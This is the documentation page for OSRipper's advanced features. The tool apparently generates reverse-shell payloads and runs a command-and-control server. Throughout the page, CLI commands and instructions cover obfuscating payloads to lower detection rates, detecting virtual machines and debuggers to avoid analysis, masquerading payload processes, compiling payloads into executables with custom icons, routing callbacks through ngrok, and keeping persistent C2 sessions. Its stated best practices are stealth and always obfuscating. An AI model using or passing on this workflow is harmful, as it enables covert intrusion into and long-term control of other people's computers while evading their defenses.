# Advanced Features

This guide covers advanced features and techniques for maximizing OSRipper's capabilities.

## Table of Contents

- [Obfuscation](#obfuscation)
- [Evasion Techniques](#evasion-techniques)
- [Compilation](#compilation)
- [Ngrok Integration](#ngrok-integration)
- [Certificate Pinning](#certificate-pinning)
- [Session Persistence](#session-persistence)
- [Custom Payloads](#custom-payloads)

---

## Obfuscation

OSRipper provides multiple levels of obfuscation to evade detection.

### Standard Obfuscation

Multi-layer code encoding with randomized variables.

**Features:**
- Variable name randomization
- Code structure obfuscation
- Base64 encoding layers
- String encryption

**Usage:**
```bash
osripper-cli reverse -H IP -p PORT --obfuscate
```

### Enhanced Obfuscation

Advanced obfuscation with additional evasion techniques.

**Features:**
- All standard obfuscation features
- Anti-debugging techniques
- VM detection evasion
- Junk code injection
- Advanced code transformations

**Usage:**
```bash
osripper-cli reverse -H IP -p PORT --obfuscate --enhanced
```

**Note:** Enhanced obfuscation requires `--obfuscate` flag.

### How It Works

1. **Variable Randomization** - Random variable names generated
2. **Code Encoding** - Multiple encoding layers applied
3. **Structure Obfuscation** - Code structure modified
4. **String Encryption** - Strings encrypted/encoded
5. **Junk Code** - Dummy code inserted (enhanced only)
6. **Anti-Debug** - Debug detection code added (enhanced only)

### Obfuscation Levels

| Level | Features | Detection Rate |
|-------|----------|----------------|
| None | No obfuscation | High |
| Standard | Basic encoding | Medium |
| Enhanced | Full evasion | Low |

---

## Evasion Techniques

OSRipper implements multiple evasion techniques to avoid detection.

### VM Detection

Detects virtual machines and sandboxes to avoid analysis.

**Techniques:**
- CPU core count checking
- MAC address validation
- Process name detection
- Registry checks (Windows)
- System information analysis

**Bypass (Testing):**
```bash
osripper-cli doh -d domain.com --testing
```

### Anti-Debugging

Prevents debugging and analysis.

**Techniques:**
- Debugger detection
- Process monitoring detection
- Timing checks
- Exception handling

### Process Masquerading

Disguises payload process as legitimate system process.

**Methods:**
- Process name spoofing
- Parent process manipulation
- Command-line argument masking

### Stealth Delays

Random delays at startup to evade immediate execution monitoring.

**Usage:**
```bash
osripper-cli reverse -H IP -p PORT --delay
```

**Delay Range:** 5-15 seconds (configurable)

### Signature Randomization

Every generated payload is unique:
- Random variable names
- Random code structure
- Unique encoding keys
- Variable obfuscation

---

## Compilation

Compile Python payloads to standalone binaries for easier deployment.

### Nuitka Compilation

OSRipper uses Nuitka for binary compilation.

**Features:**
- Standalone executables
- No Python interpreter required
- Cross-platform support
- Custom icons support

**Usage:**
```bash
osripper-cli reverse -H IP -p PORT --compile
```

### Custom Icons

Add custom icons to compiled binaries.

**Windows:**
```bash
osripper-cli reverse -H IP -p PORT --compile --icon app.ico
```

**macOS:**
```bash
osripper-cli reverse -H IP -p PORT --compile --icon app.icns
```

**Icon Requirements:**
- Windows: `.ico` format
- macOS: `.icns` format
- Linux: Not supported

### Compilation Options

**Platform-Specific:**
- Windows: `.exe` executable
- macOS: `.app` bundle
- Linux: Binary executable

**Output Location:**
- Compiled binaries: `results/payload.bin`
- Obfuscated source: `results/payload_or.py`

### Compilation Process

1. **Source Preparation** - Obfuscate if enabled
2. **Nuitka Compilation** - Compile to binary
3. **Icon Injection** - Add custom icon (if provided)
4. **Output** - Save to results directory

---

## Ngrok Integration

Use ngrok for dynamic IP addresses and port forwarding.

### Setup

1. **Install Ngrok:**
   ```bash
   # Download from ngrok.com
   # Extract and add to PATH
   ```

2. **Get API Key:**
   - Sign up at [dashboard.ngrok.com](https://dashboard.ngrok.com/api)
   - Get authtoken

3. **Configure:**
   ```bash
   ngrok config add-authtoken YOUR_AUTH_TOKEN
   ```

### Usage

**Generate Payload:**
```bash
osripper-cli reverse --ngrok -p 4444 --obfuscate --compile
```

**Start Tunnel:**
```bash
# In another terminal
ngrok tcp 4444
```

**Get Tunnel Info:**
- OSRipper automatically detects ngrok tunnel
- Or manually enter tunnel address when prompted

### Benefits

- Dynamic IP addresses
- No port forwarding required
- Easy testing
- Quick deployment

---

## Certificate Pinning

Secure HTTPS C2 with certificate pinning for authentication.

### How It Works

1. **Certificate Generation** - Server generates or uses certificate
2. **Fingerprint Extraction** - SHA256 fingerprint extracted
3. **Payload Configuration** - Fingerprint embedded in payload
4. **Validation** - Agent validates certificate on connection

### Setup

**1. Start C2 Server with HTTPS:**
```bash
python -m osripper.c2.server example.com --https
```

**2. Get Certificate Fingerprint:**
```bash
curl http://localhost:5000/api/cert-fingerprint
```

**3. Generate Payload:**
- Via Web UI: Fingerprint auto-fills
- Via CLI: Manually specify fingerprint

### Benefits

- **MITM Protection** - Prevents man-in-the-middle attacks
- **Authentication** - Ensures connection to legitimate server
- **Security** - Encrypted communication channel

### Custom Certificates

**Generate Certificate:**
```bash
openssl req -x509 -newkey rsa:4096 \
  -keyout server.key \
  -out server.crt \
  -days 365 \
  -nodes
```

**Use Custom Certificate:**
```bash
python -m osripper.c2.server example.com \
  --https \
  --cert server.crt \
  --key server.key
```

---

## Session Persistence

Maintain C2 connections across restarts and network changes.

### How It Works

1. **Session ID Generation** - Unique ID created per agent
2. **Local Storage** - Session ID stored locally on agent
3. **Reconnection** - Agent uses same session ID on restart
4. **Server Recognition** - Server recognizes returning session

### Session Storage

**Agent Side:**
- Session ID stored in local file
- Persists across reboots
- Survives process termination

**Server Side:**
- Session stored in database
- Command history maintained
- System information cached

### Benefits

- **Persistence** - Maintains connection across restarts
- **History** - Command history preserved
- **Tracking** - Track same system over time

---

## Custom Payloads

Create custom payloads using the custom code crypter.

### Requirements

- Valid Python 3.6+ code
- Self-contained (or include dependencies)
- No hardcoded paths
- Tested before obfuscation

### Usage

```bash
osripper-cli custom --script mypayload.py \
  --obfuscate \
  --enhanced \
  --compile \
  --output custom_payload
```

### Best Practices

1. **Test First** - Test script before obfuscation
2. **Minimize Dependencies** - Reduce external dependencies
3. **Error Handling** - Include proper error handling
4. **Stealth** - Avoid suspicious behavior
5. **Obfuscation** - Always use obfuscation

### Example Custom Payload

```python
#!/usr/bin/env python3
import os
import subprocess

def main():
    # Your custom code here
    result = subprocess.run(['whoami'], capture_output=True)
    print(result.stdout.decode())

if __name__ == "__main__":
    main()
```

**Obfuscate:**
```bash
osripper-cli custom --script custom.py --obfuscate --enhanced --compile
```

---

## Performance Optimization

### Payload Size

**Reduce Size:**
- Minimize dependencies
- Remove unnecessary code
- Use obfuscation efficiently

### Compilation Speed

**Faster Compilation:**
- Use standard obfuscation (faster than enhanced)
- Skip compilation for testing
- Use parallel compilation (Nuitka feature)

### Runtime Performance

**Optimize Execution:**
- Minimize startup code
- Reduce initial delays
- Optimize polling intervals

---

## Advanced Configuration

### Environment Variables

```bash
# Set custom paths
export OSRIPPER_RESULTS_DIR=/custom/path
export OSRIPPER_TMP_DIR=/custom/tmp
```

### Configuration Files

Create custom configuration (future feature):
```yaml
obfuscation:
  enhanced: true
  layers: 5

compilation:
  compiler: nuitka
  optimize: true

stealth:
  delay: true
  vm_detection: true
```

---

## Troubleshooting Advanced Features

### Obfuscation Issues

- **Large File Size**: Reduce obfuscation layers
- **Syntax Errors**: Test source code first
- **Import Errors**: Ensure dependencies included

### Compilation Issues

- **Nuitka Not Found**: Install Nuitka (`pip3 install nuitka`)
- **Compilation Fails**: Check system dependencies
- **Large Binary**: Use optimization flags

### Ngrok Issues

- **Tunnel Not Detected**: Manually enter tunnel address
- **Connection Fails**: Verify ngrok is running
- **Port Conflicts**: Use different port

---

*For more information, see the [Usage Guide](Usage-Guide) and [Troubleshooting](Troubleshooting) pages.*